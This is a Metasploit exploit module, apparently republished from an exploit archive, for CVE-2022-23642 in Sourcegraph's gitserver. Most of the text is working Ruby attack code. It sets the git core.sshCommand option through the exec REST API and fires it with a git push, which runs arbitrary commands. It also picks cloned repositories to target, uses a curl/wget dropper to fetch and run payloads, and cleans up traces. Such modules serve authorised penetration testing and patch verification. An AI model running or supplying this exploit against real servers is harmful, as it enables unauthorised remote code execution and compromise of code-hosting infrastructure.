A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API.
0594780e2115769789da65e1767a8d75b4d0f855a6666360d2fca232bded2a21##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sourcegraph gitserver sshCommand RCE',
'Description' => %q{
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.
},
'Author' => [
'Altelus1', # github PoC
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2022-23642'],
['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
],
'DisclosureDate' => '2022-02-18', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
},
],
[
'Linux Dropper',
{
'Platform' => 'linux',
# when the OS command is executed, it's executed twice which will cause some of the command stagers to
# be corrupt, these two work even for larger payloads because they're downloaded in a single command
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
},
]
],
'DefaultOptions' => {
'RPORT' => 3178
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
])
end
def check
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
return CheckCode::Unknown unless res
if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
# this is the response if the target repo does exist, highly unlikely since it's randomized
return CheckCode::Vulnerable('Successfully set core.sshCommand.')
elsif res.code == 404 && res.body =~ /"cloneInProgress"/
# this is the response if the target repo does not exist
return CheckCode::Vulnerable
elsif res.code == 400 && res.body =~ /^invalid command/
# this is the response when the server is patched, regardless of if there are cloned repos
return CheckCode::Safe
end
CheckCode::Unknown
end
def exploit
if datastore['EXISTING_REPO'].blank?
@git_repo = send_request_list.sample
fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
print_status("Using automatically identified repository: #{@git_repo}")
else
@git_repo = datastore['EXISTING_REPO']
end
print_status("Executing #{target.name} target")
@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"
vprint_status("Using #{@git_origin} as a fake git origin")
send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def cleanup
return unless @git_repo && @git_origin
vprint_status('Cleaning up the git changes...')
# delete the remote that was created
send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
# unset the core.sshCommand value
send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
ensure
super
end
def send_request_exec(repo, args, timeout = 20)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'exec'),
'method' => 'POST',
'data' => {
'Repo' => repo,
'Args' => args
}.to_json
}, timeout)
end
def send_request_list
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'list'),
'method' => 'GET',
'vars_get' => { 'cloned' => 'true' }
})
fail_with(Failure::Unreachable, 'No server response.') unless res
fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
res.get_json_document
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
fail_with(Failure::Unreachable, 'No server response.') unless res
unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
end
fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
end
send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
end
end